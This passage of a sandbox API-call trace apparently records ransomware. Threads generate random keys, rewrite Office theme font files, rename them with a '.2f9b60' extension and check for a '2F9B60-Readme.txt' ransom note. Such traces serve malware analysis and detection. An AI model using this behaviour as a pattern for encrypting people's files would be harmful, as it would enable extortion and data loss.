lpBuffer=0x41b5b4e0, nNumberOfBytesToRead=0xe13, lpNumberOfBytesRead=0x405ff970, lpOverlapped=0x0 | out: lpBuffer=0x41b5b4e0*, lpNumberOfBytesRead=0x405ff970*=0xe13, lpOverlapped=0x0) returned 1 [0124.459] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.459] WriteFile (in: hFile=0x1098, lpBuffer=0x41c5f0f0*, nNumberOfBytesToWrite=0xe13, lpNumberOfBytesWritten=0x405ff974, lpOverlapped=0x0 | out: lpBuffer=0x41c5f0f0*, lpNumberOfBytesWritten=0x405ff974*=0xe13, lpOverlapped=0x0) returned 1 [0124.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260380 [0124.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ba0 [0124.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262ba0) returned 1 [0124.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c5f0f0) returned 1 [0124.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b5b4e0) returned 1 [0124.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504910) returned 1 [0124.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0124.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20262ba0 [0124.517] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.517] WriteFile (in: hFile=0x1098, lpBuffer=0x169800*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x405ffa90, lpOverlapped=0x0 | out: lpBuffer=0x169800*, lpNumberOfBytesWritten=0x405ffa90*=0x108, lpOverlapped=0x0) returned 1 [0124.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97a30 [0124.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504410 [0124.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced72c0 [0124.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced72c0) returned 1 [0124.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b7d5a50 [0124.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced72c0 [0124.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7290 [0124.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7290) returned 1 [0124.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504410) returned 1 [0124.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a30) returned 1 [0124.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cda04f0 [0124.572] sprintf (in: _Dest=0x1cda04f0, _Format="%c%c" | out: _Dest="b4") returned 2 [0124.572] sprintf (in: _Dest=0x1cda04f2, _Format="%c%c" | out: _Dest="d7") returned 2 [0124.572] sprintf (in: _Dest=0x1cda04f4, _Format="%c%c" | out: _Dest="17") returned 2 [0124.572] sprintf (in: _Dest=0x1cda04f6, _Format="%c%c" | out: _Dest="36") returned 2 [0124.572] sprintf (in: _Dest=0x1cda04f8, _Format="%c%c" | out: _Dest="28") returned 2 [0124.572] sprintf (in: _Dest=0x1cda04fa, _Format="%c%c" | out: _Dest="d9") returned 2 [0124.572] sprintf (in: _Dest=0x1cda04fc, _Format="%c%c" | out: _Dest="e2") returned 2 [0124.572] sprintf (in: _Dest=0x1cda04fe, _Format="%c%c" | out: _Dest="81") returned 2 [0124.572] sprintf (in: _Dest=0x1cda0500, _Format="%c%c" | out: _Dest="f1") returned 2 [0124.572] sprintf (in: _Dest=0x1cda0502, _Format="%c%c" | out: _Dest="c9") returned 2 [0124.572] sprintf (in: _Dest=0x1cda0504, _Format="%c%c" | out: _Dest="e7") returned 2 [0124.573] sprintf (in: _Dest=0x1cda0506, _Format="%c%c" | out: _Dest="a4") returned 2 [0124.573] sprintf (in: _Dest=0x1cda0508, _Format="%c%c" | out: _Dest="ca") returned 2 [0124.573] sprintf (in: _Dest=0x1cda050a, _Format="%c%c" | out: _Dest="43") returned 2 [0124.573] sprintf (in: _Dest=0x1cda050c, _Format="%c%c" | out: _Dest="3b") returned 2 [0124.573] sprintf (in: _Dest=0x1cda050e, _Format="%c%c" | out: _Dest="0d") returned 2 [0124.573] sprintf (in: _Dest=0x1cda0510, _Format="%c%c" | out: _Dest="9b") returned 2 [0124.573] sprintf (in: _Dest=0x1cda0512, _Format="%c%c" | out: _Dest="2a") returned 2 [0124.573] sprintf (in: _Dest=0x1cda0514, _Format="%c%c" | out: _Dest="c4") returned 2 [0124.573] sprintf (in: _Dest=0x1cda0516, _Format="%c%c" | out: _Dest="a3") returned 2 [0124.573] sprintf (in: _Dest=0x1cda0518, _Format="%c%c" | out: _Dest="62") returned 2 [0124.573] sprintf (in: _Dest=0x1cda051a, _Format="%c%c" | out: _Dest="c5") returned 2 [0124.573] RtlInitAnsiString (in: DestinationString=0x405ffb08, SourceString="b4d7173628d9e281f1c9e7a4ca433b0d9b2ac4a362c5" | out: DestinationString="b4d7173628d9e281f1c9e7a4ca433b0d9b2ac4a362c5") [0124.573] RtlAnsiStringToUnicodeString (in: DestinationString=0x405ffad8, SourceString="b4d7173628d9e281f1c9e7a4ca433b0d9b2ac4a362c5", AllocateDestinationString=1 | out: DestinationString="b4d7173628d9e281f1c9e7a4ca433b0d9b2ac4a362c5") returned 0x0 [0124.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b864760 [0124.573] wcscat (in: _Dest=0x202ac9a0, _Source="b4d7173628d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\b4d7173628d") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\b4d7173628d" [0124.573] wcscat (in: _Dest=0x202ac9a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\b4d7173628d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\b4d7173628d.2f9b60" [0124.573] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\b4d7173628d.2f9b60", NtPathName=0x405ffab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\b4d7173628d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x1197f0 [0124.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1197f0) returned 1 [0124.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4a340) returned 1 [0124.653] NtQueryInformationFile (in: FileHandle=0x1098, IoStatusBlock=0x405ffb18, FileInformation=0x405ffb28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x405ffb18, FileInformation=0x405ffb28) returned 0x0 [0124.653] NtSetInformationFile (FileHandle=0x1098, IoStatusBlock=0x405ffb18, FileInformation=0x405ffb28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.663] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac9a0) returned 1 [0124.663] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864760) returned 1 [0124.663] FlushFileBuffers (hFile=0x1098) returned 1 [0124.667] CloseHandle (hObject=0x1098) returned 1 [0124.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b863380 [0124.676] wcscpy (in: _Dest=0x1b863380, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0124.676] wcscat (in: _Dest=0x1b863380, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0124.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0124.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863380) returned 1 [0124.677] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad290) returned 1 Thread: id = 1442 os_tid = 0x18dc [0119.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\thatch.xml")) returned 0x20 [0120.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml", dwFileAttributes=0x20) returned 1 [0120.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\thatch.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x10a4 [0120.972] GetFileSizeEx (in: hFile=0x10a4, lpFileSize=0x406ef700 | out: lpFileSize=0x406ef700*=3839) returned 1 [0120.972] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0xefb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.972] ReadFile (in: hFile=0x10a4, lpBuffer=0x406ef680, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x406ef6c8, lpOverlapped=0x0 | out: lpBuffer=0x406ef680*, lpNumberOfBytesRead=0x406ef6c8*=0x4, lpOverlapped=0x0) returned 1 [0121.320] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a6c0 [0121.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ed0 [0121.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6f60 [0121.321] NtQuerySystemTime (in: CurrentTime=0x406ef5c0 | out: CurrentTime=0x406ef5c0*=132462177267106000) returned 0x0 [0121.321] RtlRandomEx (in: Seed=0x406ef5b0 | out: Seed=0x406ef5b0) returned 0x209b075e [0121.321] RtlRandomEx (in: Seed=0x406ef5b0 | out: Seed=0x406ef5b0) returned 0x38536c40 [0121.321] RtlRandomEx (in: Seed=0x406ef5b0 | out: Seed=0x406ef5b0) returned 0xd9343cc [0121.321] RtlRandomEx (in: Seed=0x406ef5b0 | out: Seed=0x406ef5b0) returned 0x63338c9f [0121.321] RtlRandomEx (in: Seed=0x406ef5b0 | out: Seed=0x406ef5b0) returned 0x73df2df3 [0121.321] RtlRandomEx (in: Seed=0x406ef5b0 | out: Seed=0x406ef5b0) returned 0x4cde48f6 [0121.321] RtlRandomEx (in: Seed=0x406ef5b0 | out: Seed=0x406ef5b0) returned 0x40f1dd99 [0121.321] RtlRandomEx (in: Seed=0x406ef5b0 | out: Seed=0x406ef5b0) returned 0x697123b5 [0121.321] RtlRandomEx (in: Seed=0x406ef5b0 | out: Seed=0x406ef5b0) returned 0x44355746 [0121.321] RtlRandomEx (in: Seed=0x406ef5b0 | out: Seed=0x406ef5b0) returned 0x5c6083e7 [0121.321] RtlRandomEx (in: Seed=0x406ef5b0 | out: Seed=0x406ef5b0) returned 0x144af77 [0121.321] RtlRandomEx (in: Seed=0x406ef5b0 | out: Seed=0x406ef5b0) returned 0x2c57426e [0121.321] RtlRandomEx (in: Seed=0x406ef5b0 | out: Seed=0x406ef5b0) returned 0x1293cf43 [0121.321] RtlRandomEx (in: Seed=0x406ef5b0 | out: Seed=0x406ef5b0) returned 0x52b8091a [0121.321] RtlRandomEx (in: Seed=0x406ef5b0 | out: Seed=0x406ef5b0) returned 0x5383837e [0121.321] RtlRandomEx (in: Seed=0x406ef5b0 | out: Seed=0x406ef5b0) returned 0x6ab121ce [0121.321] RtlRandomEx (in: Seed=0x406ef5b0 | out: Seed=0x406ef5b0) returned 0x82ecdc2 [0121.321] RtlRandomEx (in: Seed=0x406ef5b0 | out: Seed=0x406ef5b0) returned 0x5907826b [0121.321] RtlRandomEx (in: Seed=0x406ef5b0 | out: Seed=0x406ef5b0) returned 0x6183b507 [0121.321] RtlRandomEx (in: Seed=0x406ef5b0 | out: Seed=0x406ef5b0) returned 0x2a7f1a73 [0121.321] RtlRandomEx (in: Seed=0x406ef5b0 | out: Seed=0x406ef5b0) returned 0x115f4489 [0121.321] RtlRandomEx (in: Seed=0x406ef5b0 | out: Seed=0x406ef5b0) returned 0x21308964 [0121.321] RtlRandomEx (in: Seed=0x406ef5b0 | out: Seed=0x406ef5b0) returned 0x3d60bb95 [0121.321] RtlRandomEx (in: Seed=0x406ef5b0 | out: Seed=0x406ef5b0) returned 0x7e7928db [0121.321] RtlRandomEx (in: Seed=0x406ef5b0 | out: Seed=0x406ef5b0) returned 0x44f92b0e [0121.321] RtlRandomEx (in: Seed=0x406ef5b0 | out: Seed=0x406ef5b0) returned 0x3dfb9db2 [0121.321] RtlRandomEx (in: Seed=0x406ef5b0 | out: Seed=0x406ef5b0) returned 0x176ce43f [0121.322] RtlRandomEx (in: Seed=0x406ef5b0 | out: Seed=0x406ef5b0) returned 0x3fe5da29 [0121.322] RtlRandomEx (in: Seed=0x406ef5b0 | out: Seed=0x406ef5b0) returned 0x6a98a0e7 [0121.322] RtlRandomEx (in: Seed=0x406ef5b0 | out: Seed=0x406ef5b0) returned 0x4995058a [0121.322] RtlRandomEx (in: Seed=0x406ef5b0 | out: Seed=0x406ef5b0) returned 0x244ee937 [0121.322] RtlRandomEx (in: Seed=0x406ef5b0 | out: Seed=0x406ef5b0) returned 0x267af8be [0124.452] ReadFile (in: hFile=0x10a4, lpBuffer=0x41c7d170, nNumberOfBytesToRead=0xeff, lpNumberOfBytesRead=0x406ef5b0, lpOverlapped=0x0 | out: lpBuffer=0x41c7d170*, lpNumberOfBytesRead=0x406ef5b0*=0xeff, lpOverlapped=0x0) returned 1 [0124.452] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.452] WriteFile (in: hFile=0x10a4, lpBuffer=0x41b35950*, nNumberOfBytesToWrite=0xeff, lpNumberOfBytesWritten=0x406ef5b4, lpOverlapped=0x0 | out: lpBuffer=0x41b35950*, lpNumberOfBytesWritten=0x406ef5b4*=0xeff, lpOverlapped=0x0) returned 1 [0166.129] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1e20 [0166.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1e80 [0166.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1e80) returned 1 [0166.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b35950) returned 1 [0166.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c7d170) returned 1 [0166.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504610) returned 1 [0166.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd978f0) returned 1 [0166.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a1e80 [0166.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd978f0 [0166.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504610 [0166.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1e50 [0166.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1e50) returned 1 [0166.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a1e50 [0166.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1d60 [0166.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1d90 [0166.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1d90) returned 1 [0166.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504610) returned 1 [0166.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd978f0) returned 1 [0166.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x42c16e60 [0166.133] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0166.133] WriteFile (in: hFile=0x10a4, lpBuffer=0x42c16e60*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x406ef6d0, lpOverlapped=0x0 | out: lpBuffer=0x42c16e60*, lpNumberOfBytesWritten=0x406ef6d0*=0x106, lpOverlapped=0x0) returned 1 [0200.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0200.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866b40 [0200.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d9c0 [0200.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d9c0) returned 1 [0200.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x42c0f0e0 [0200.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d9c0 [0200.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d6f0 [0200.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d6f0) returned 1 [0200.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866b40) returned 1 [0200.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0200.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1b7d8400 [0200.370] sprintf (in: _Dest=0x1b7d8400, _Format="%c%c" | out: _Dest="25") returned 2 [0200.370] sprintf (in: _Dest=0x1b7d8402, _Format="%c%c" | out: _Dest="7a") returned 2 [0200.370] sprintf (in: _Dest=0x1b7d8404, _Format="%c%c" | out: _Dest="94") returned 2 [0200.370] sprintf (in: _Dest=0x1b7d8406, _Format="%c%c" | out: _Dest="3d") returned 2 [0200.370] sprintf (in: _Dest=0x1b7d8408, _Format="%c%c" | out: _Dest="5d") returned 2 [0200.370] sprintf (in: _Dest=0x1b7d840a, _Format="%c%c" | out: _Dest="13") returned 2 [0200.370] sprintf (in: _Dest=0x1b7d840c, _Format="%c%c" | out: _Dest="69") returned 2 [0200.370] sprintf (in: _Dest=0x1b7d840e, _Format="%c%c" | out: _Dest="f6") returned 2 [0200.370] sprintf (in: _Dest=0x1b7d8410, _Format="%c%c" | out: _Dest="86") returned 2 [0200.370] sprintf (in: _Dest=0x1b7d8412, _Format="%c%c" | out: _Dest="99") returned 2 [0200.370] sprintf (in: _Dest=0x1b7d8414, _Format="%c%c" | out: _Dest="b9") returned 2 [0200.370] sprintf (in: _Dest=0x1b7d8416, _Format="%c%c" | out: _Dest="b8") returned 2 [0200.370] sprintf (in: _Dest=0x1b7d8418, _Format="%c%c" | out: _Dest="f5") returned 2 [0200.370] sprintf (in: _Dest=0x1b7d841a, _Format="%c%c" | out: _Dest="6d") returned 2 [0200.370] sprintf (in: _Dest=0x1b7d841c, _Format="%c%c" | out: _Dest="bd") returned 2 [0200.370] sprintf (in: _Dest=0x1b7d841e, _Format="%c%c" | out: _Dest="7f") returned 2 [0200.370] sprintf (in: _Dest=0x1b7d8420, _Format="%c%c" | out: _Dest="b0") returned 2 [0200.371] sprintf (in: _Dest=0x1b7d8422, _Format="%c%c" | out: _Dest="29") returned 2 [0200.371] sprintf (in: _Dest=0x1b7d8424, _Format="%c%c" | out: _Dest="3c") returned 2 [0200.371] sprintf (in: _Dest=0x1b7d8426, _Format="%c%c" | out: _Dest="e0") returned 2 [0200.371] RtlInitAnsiString (in: DestinationString=0x406ef748, SourceString="257a943d5d1369f68699b9b8f56dbd7fb0293ce0" | out: DestinationString="257a943d5d1369f68699b9b8f56dbd7fb0293ce0") [0200.371] RtlAnsiStringToUnicodeString (in: DestinationString=0x406ef718, SourceString="257a943d5d1369f68699b9b8f56dbd7fb0293ce0", AllocateDestinationString=1 | out: DestinationString="257a943d5d1369f68699b9b8f56dbd7fb0293ce0") returned 0x0 [0200.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b858a90 [0200.372] wcscat (in: _Dest=0x431ea720, _Source="257a943d5d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\257a943d5d") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\257a943d5d" [0200.372] wcscat (in: _Dest=0x431ea720, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\257a943d5d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\257a943d5d.2f9b60" [0200.372] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\257a943d5d.2f9b60", NtPathName=0x406ef6f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\257a943d5d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4205fec0 [0226.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205fec0) returned 1 [0226.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431fb440) returned 1 [0226.395] NtQueryInformationFile (in: FileHandle=0x10a4, IoStatusBlock=0x406ef758, FileInformation=0x406ef768, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x406ef758, FileInformation=0x406ef768) returned 0x0 [0226.395] NtSetInformationFile (FileHandle=0x10a4, IoStatusBlock=0x406ef758, FileInformation=0x406ef768, Length=0x28, FileInformationClass=0x4) returned 0x0 [0233.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ea720) returned 1 [0233.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858a90) returned 1 [0233.751] FlushFileBuffers (hFile=0x10a4) returned 1 [0235.027] CloseHandle (hObject=0x10a4) returned 1 [0236.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1cd64f20 [0236.637] wcscpy (in: _Dest=0x1cd64f20, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0236.637] wcscat (in: _Dest=0x1cd64f20, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0236.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0236.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64f20) returned 1 [0236.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0290) returned 1 Thread: id = 1443 os_tid = 0x18e0 [0119.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\trek.xml")) returned 0x20 [0120.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml", dwFileAttributes=0x20) returned 1 [0120.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\trek.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x108c [0120.978] GetFileSizeEx (in: hFile=0x108c, lpFileSize=0x407bf6c0 | out: lpFileSize=0x407bf6c0*=3616) returned 1 [0120.978] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0xe1c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.978] ReadFile (in: hFile=0x108c, lpBuffer=0x407bf640, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x407bf688, lpOverlapped=0x0 | out: lpBuffer=0x407bf640*, lpNumberOfBytesRead=0x407bf688*=0x4, lpOverlapped=0x0) returned 1 [0121.404] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a6c0 [0121.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8130 [0121.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced82e0 [0121.404] NtQuerySystemTime (in: CurrentTime=0x407bf580 | out: CurrentTime=0x407bf580*=132462177268042000) returned 0x0 [0121.404] RtlRandomEx (in: Seed=0x407bf570 | out: Seed=0x407bf570) returned 0x543af216 [0121.404] RtlRandomEx (in: Seed=0x407bf570 | out: Seed=0x407bf570) returned 0x244755ec [0121.404] RtlRandomEx (in: Seed=0x407bf570 | out: Seed=0x407bf570) returned 0x22410fc0 [0121.404] RtlRandomEx (in: Seed=0x407bf570 | out: Seed=0x407bf570) returned 0x3720c256 [0121.404] RtlRandomEx (in: Seed=0x407bf570 | out: Seed=0x407bf570) returned 0x1de4a42d [0121.404] RtlRandomEx (in: Seed=0x407bf570 | out: Seed=0x407bf570) returned 0x4575f95f [0121.404] RtlRandomEx (in: Seed=0x407bf570 | out: Seed=0x407bf570) returned 0x36df97a8 [0121.404] RtlRandomEx (in: Seed=0x407bf570 | out: Seed=0x407bf570) returned 0x118440c2 [0121.404] RtlRandomEx (in: Seed=0x407bf570 | out: Seed=0x407bf570) returned 0x76f178dd [0121.404] RtlRandomEx (in: Seed=0x407bf570 | out: Seed=0x407bf570) returned 0x7c4f31b8 [0121.404] RtlRandomEx (in: Seed=0x407bf570 | out: Seed=0x407bf570) returned 0xd3fc380 [0121.404] RtlRandomEx (in: Seed=0x407bf570 | out: Seed=0x407bf570) returned 0x2d43e10f [0121.404] RtlRandomEx (in: Seed=0x407bf570 | out: Seed=0x407bf570) returned 0x574ff8a8 [0121.404] RtlRandomEx (in: Seed=0x407bf570 | out: Seed=0x407bf570) returned 0x48c7a962 [0121.405] RtlRandomEx (in: Seed=0x407bf570 | out: Seed=0x407bf570) returned 0xaa58f98 [0121.405] RtlRandomEx (in: Seed=0x407bf570 | out: Seed=0x407bf570) returned 0x2b61f9b0 [0121.405] RtlRandomEx (in: Seed=0x407bf570 | out: Seed=0x407bf570) returned 0x1cb264bc [0121.405] RtlRandomEx (in: Seed=0x407bf570 | out: Seed=0x407bf570) returned 0x5c70134 